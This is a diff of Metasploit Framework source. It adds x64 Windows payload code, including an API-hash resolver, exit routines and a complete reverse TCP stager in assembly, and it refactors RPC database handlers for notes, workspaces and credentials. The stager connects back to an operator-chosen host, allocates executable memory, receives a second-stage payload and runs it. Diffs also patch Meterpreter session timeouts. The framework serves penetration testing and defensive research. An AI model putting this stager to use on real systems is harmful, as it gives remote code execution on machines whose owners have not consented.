loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop rax ; Restore the current modules EAT
|
||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
pop rcx ; Restore the 1st parameter
|
||||
pop rdx ; Restore the 2nd parameter
|
||||
pop r8 ; Restore the 3rd parameter
|
||||
pop r9 ; Restore the 4th parameter
|
||||
pop r10 ; pop off the return address
|
||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
^
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements arbitrary exit routines for Windows ARCH_X86_64 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::Exitfunk_x64
|
||||
|
||||
def asm_exitfunk(opts={})
|
||||
|
||||
asm = "exitfunk:\n"
|
||||
|
||||
case opts[:exitfunk]
|
||||
|
||||
when 'seh'
|
||||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; SetUnhandledExceptionFilter(0)
|
||||
push 0 ;
|
||||
ret ; Return to NULL (crash)
|
||||
^
|
||||
|
||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
||||
# automatically generate the right code depending on the selected exit method.
|
||||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
|
||||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl short goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
||||
; Windows Vista, 2008 or 7...
|
||||
jne short goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
||||
when 'process', nil
|
||||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
when 'sleep'
|
||||
asm << %Q^
|
||||
push 300000 ; 300 seconds
|
||||
pop rcx ; set the sleep function parameter
|
||||
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; Sleep(30000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
|
||||
else
|
||||
# Do nothing and continue after the end of the shellcode
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -29,17 +29,10 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockrdi'
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 47, 'V' ]
|
||||
},
|
||||
'Payload' => ""
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => {
|
||||
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
))
|
||||
|
||||
|
@ -81,6 +74,16 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
return
|
||||
end
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
|
|
|
@ -0,0 +1,192 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X86_64
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcp_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# TODO: coming later
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
#if self.available_space.nil? || required_space > self.available_space
|
||||
# return generate_reverse_tcp(
|
||||
# port: datastore['LPORT'],
|
||||
# host: datastore['LHOST'],
|
||||
# retry_count: datastore['ReverseConnectRetries'],
|
||||
# )
|
||||
#end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp
|
||||
#{asm_reverse_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
# TODO: reliable = opts[:reliable]
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
|
||||
asm = %Q^
|
||||
reverse_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_host_port}
|
||||
push r12 ; host, family AF_INET and port
|
||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
; perform the call to connect...
|
||||
push 16 ; length of the sockaddr struct
|
||||
pop r8 ; pop off the third param
|
||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||
mov rcx, rdi ; the socket
|
||||
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
end
|
||||
|
||||
def generate_stageless_x64(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
|
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
|
|
|
@ -12,7 +12,7 @@ private
|
|||
end
|
||||
|
||||
def find_workspace(wspace = nil)
|
||||
if(wspace and wspace != "")
|
||||
if wspace and wspace != ""
|
||||
return self.framework.db.find_workspace(wspace) || error(500, "Invalid workspace")
|
||||
end
|
||||
self.framework.db.workspace
|
||||
|
@ -104,36 +104,58 @@ private
|
|||
return opts, opts[:workspace]
|
||||
end
|
||||
|
||||
def get_notes(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
notes = []
|
||||
|
||||
host = self.framework.db.get_host(opts)
|
||||
return notes if not host
|
||||
|
||||
if opts[:proto] && opts[:port]
|
||||
services = []
|
||||
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if nret == nil
|
||||
services << nret if nret.class == ::Mdm::Service
|
||||
services |= nret if nret.class == Array
|
||||
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
notes = host.notes
|
||||
end
|
||||
notes
|
||||
}
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
|
||||
# Creates a credential.
|
||||
# Creates a cracked credential.
|
||||
#
|
||||
# @note Despite the fact the method name for this is called "rpc_create_cracked_credential", it
|
||||
# does not actually call the create_cracked_credential API in metasploit-credential. Instead,
|
||||
# it calls create_credential.
|
||||
# @todo This method needs to call create_cracked_credential, not create_credential.
|
||||
# @param [Hash] xopts Credential options. (See #create_credential Documentation)
|
||||
# @return [Metasploit::Credential::Core]
|
||||
# @see https://github.com/rapid7/metasploit-credential/blob/master/lib/metasploit/credential/creation.rb#L107 #create_credential Documentation.
|
||||
# @see #rpc_create_credential
|
||||
# @example Here's how you would use this from the client:
|
||||
# opts = {
|
||||
# origin_type: :service,
|
||||
# address: '192.168.1.100',
|
||||
# port: 445,
|
||||
# service_name: 'smb',
|
||||
# protocol: 'tcp',
|
||||
# module_fullname: 'auxiliary/scanner/smb/smb_login',
|
||||
# workspace_id: myworkspace_id,
|
||||
# private_data: 'password1',
|
||||
# private_type: :password,
|
||||
# username: 'Administrator'
|
||||
# username: username,
|
||||
# password: password,
|
||||
# core_id: core_id
|
||||
# }
|
||||
# rpc.call('db.create_cracked_credential', opts)
|
||||
def rpc_create_cracked_credential(xopts)
|
||||
opts = fix_cred_options(xopts)
|
||||
create_credential(opts)
|
||||
create_cracked_credential(opts)
|
||||
end
|
||||
|
||||
|
||||
|
@ -427,7 +449,7 @@ public
|
|||
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
|
||||
vuln = {}
|
||||
reflist = v.refs.map { |r| r.name }
|
||||
if(v.service)
|
||||
if v.service
|
||||
vuln[:port] = v.service.port
|
||||
vuln[:proto] = v.service.proto
|
||||
else
|
||||
|
@ -506,7 +528,7 @@ public
|
|||
wspace = find_workspace(wspace)
|
||||
ret = {}
|
||||
ret[:workspace] = []
|
||||
if(wspace)
|
||||
if wspace
|
||||
w = {}
|
||||
w[:name] = wspace.name
|
||||
w[:id] = wspace.id
|
||||
|
@ -521,7 +543,11 @@ public
|
|||
# Sets a workspace.
|
||||
#
|
||||
# @param [String] wspace Workspace name.
|
||||
# @raise [Msf::RPC::Exception] 500 Database not loaded.
|
||||
# @raise [Msf::RPC::ServerException] You might get one of these errors:
|
||||
# * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create').
|
||||
# * 500 Database not loaded. Try: rpc.call('console.create')
|
||||
# * 500 Invalid workspace
|
||||
# * 404 Workspace not found.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not. You will get:
|
||||
# * 'result' [String] A message that says either 'success' or 'failed'
|
||||
# @example Here's how you would use this from the client:
|
||||
|
@ -530,8 +556,8 @@ public
|
|||
def rpc_set_workspace(wspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
workspace = self.framework.db.find_workspace(wspace)
|
||||
if(workspace)
|
||||
workspace = find_workspace(wspace)
|
||||
if workspace
|
||||
self.framework.db.workspace = workspace
|
||||
return { 'result' => "success" }
|
||||
end
|
||||
|
@ -555,7 +581,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
# Delete workspace
|
||||
workspace = self.framework.db.find_workspace(wspace)
|
||||
workspace = find_workspace(wspace)
|
||||
if workspace.nil?
|
||||
error(404, "Workspace not found: #{wspace}")
|
||||
elsif workspace.default?
|
||||
|
@ -587,7 +613,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
wspace = self.framework.db.add_workspace(wspace)
|
||||
return { 'result' => 'success' } if(wspace)
|
||||
return { 'result' => 'success' } if wspace
|
||||
{ 'result' => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -627,7 +653,7 @@ public
|
|||
ret[:host] = []
|
||||
opts = fix_options(xopts)
|
||||
h = self.framework.db.get_host(opts)
|
||||
if(h)
|
||||
if h
|
||||
host = {}
|
||||
host[:created_at] = h.created_at.to_i
|
||||
host[:address] = h.address.to_s
|
||||
|
@ -676,7 +702,7 @@ public
|
|||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
|
||||
res = self.framework.db.report_host(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -702,7 +728,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_service(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -742,16 +768,16 @@ public
|
|||
services = []
|
||||
sret = nil
|
||||
|
||||
if(host && opts[:proto] && opts[:port])
|
||||
if host && opts[:proto] && opts[:port]
|
||||
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
elsif(opts[:proto] && opts[:port])
|
||||
elsif opts[:proto] && opts[:port]
|
||||
conditions = {}
|
||||
conditions[:state] = [Msf::ServiceState::Open] if opts[:up]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:name] = opts[:names] if opts[:names]
|
||||
sret = wspace.services.where(conditions).order("hosts.address, port")
|
||||
else
|
||||
elsif host
|
||||
sret = host.services
|
||||
end
|
||||
return ret if sret == nil
|
||||
|
@ -776,10 +802,12 @@ public
|
|||
}
|
||||
end
|
||||
|
||||
|
||||
# Returns a note.
|
||||
#
|
||||
# @param [Hash] xopts Options.
|
||||
# @option xopts [String] :addr Host address.
|
||||
# @option xopts [String] :address Same as :addr.
|
||||
# @option xopts [String] :host Same as :address.
|
||||
# @option xopts [String] :proto Protocol.
|
||||
# @option xopts [Fixnum] :port Port.
|
||||
# @option xopts [String] :ntype Note type.
|
||||
|
@ -801,37 +829,11 @@ public
|
|||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('db.get_note', {:proto => 'tcp', :port => 80})
|
||||
def rpc_get_note(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
|
||||
ret = {}
|
||||
ret[:note] = []
|
||||
|
||||
host = self.framework.db.get_host(opts)
|
||||
notes = get_notes(xopts)
|
||||
|
||||
return ret if( not host)
|
||||
notes = []
|
||||
if(opts[:proto] && opts[:port])
|
||||
services = []
|
||||
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if nret == nil
|
||||
services << nret if nret.class == ::Mdm::Service
|
||||
services |= nret if nret.class == Array
|
||||
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
notes = host.notes
|
||||
end
|
||||
notes.each do |n|
|
||||
note = {}
|
||||
host = n.host
|
||||
|
@ -849,7 +851,6 @@ public
|
|||
ret[:note] << note
|
||||
end
|
||||
ret
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
|
@ -879,7 +880,7 @@ public
|
|||
ret = {}
|
||||
ret[:client] = []
|
||||
c = self.framework.db.get_client(opts)
|
||||
if(c)
|
||||
if c
|
||||
client = {}
|
||||
host = c.host
|
||||
client[:host] = host.address
|
||||
|
@ -916,7 +917,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_client(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -951,12 +952,16 @@ public
|
|||
addr = opts[:host] || opts[:address]
|
||||
wspace = opts[:workspace] || self.framework.db.workspace
|
||||
host = wspace.hosts.find_by_address(addr)
|
||||
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port]) if host.services.count > 0
|
||||
opts[:service] = service if service
|
||||
if host && host.services.count > 0
|
||||
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port])
|
||||
if service
|
||||
opts[:service] = service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
res = self.framework.db.report_note(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -994,7 +999,7 @@ public
|
|||
conditions["hosts.address"] = opts[:addresses] if opts[:addresses]
|
||||
conditions[:name] = opts[:names].strip().split(",") if opts[:names]
|
||||
conditions[:ntype] = opts[:ntype] if opts[:ntype]
|
||||
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:port]
|
||||
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:ports]
|
||||
conditions["services.proto"] = opts[:proto] if opts[:proto]
|
||||
|
||||
ret = {}
|
||||
|
@ -1004,8 +1009,8 @@ public
|
|||
note[:time] = n.created_at.to_i
|
||||
note[:host] = ""
|
||||
note[:service] = ""
|
||||
note[:host] = n.host.address if(n.host)
|
||||
note[:service] = n.service.name || n.service.port if(n.service)
|
||||
note[:host] = n.host.address if n.host
|
||||
note[:service] = n.service.name || n.service.port if n.service
|
||||
note[:type ] = n.ntype.to_s
|
||||
note[:data] = n.data.inspect
|
||||
ret[:notes] << note
|
||||
|
@ -1059,19 +1064,20 @@ public
|
|||
def rpc_del_vuln(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
opts[:workspace] = opts[:workspace].name
|
||||
hosts = []
|
||||
services = []
|
||||
vulns = []
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
hosts = opts_to_hosts(xopts)
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
services = opts_to_services(hosts,opts)
|
||||
services = opts_to_services(hosts,xopts)
|
||||
else
|
||||
services = opts_to_services([],opts)
|
||||
services = opts_to_services([],xopts)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1150,58 +1156,8 @@ public
|
|||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('db.del_note', {:workspace=>'default', :host=>ip, :port=>443, :proto=>'tcp'})
|
||||
def rpc_del_note(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
hosts = []
|
||||
services = []
|
||||
notes = []
|
||||
notes = get_notes(xopts)
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
services = opts_to_services(hosts,opts)
|
||||
else
|
||||
services = opts_to_services([],opts)
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
elsif opts[:address] or opts[:host] or opts[:addresses]
|
||||
hosts.each do |h|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = h.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = h.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = wspace.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = wspace.notes
|
||||
end
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
deleted = []
|
||||
notes.each do |n|
|
||||
dent = {}
|
||||
|
@ -1214,7 +1170,6 @@ public
|
|||
end
|
||||
|
||||
return { :result => 'success', :deleted => deleted }
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
|
@ -1366,7 +1321,7 @@ public
|
|||
opts = fix_options(xopts)
|
||||
opts[:workspace] = find_workspace(opts[:workspace]) if opts[:workspace]
|
||||
res = self.framework.db.report_vuln(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
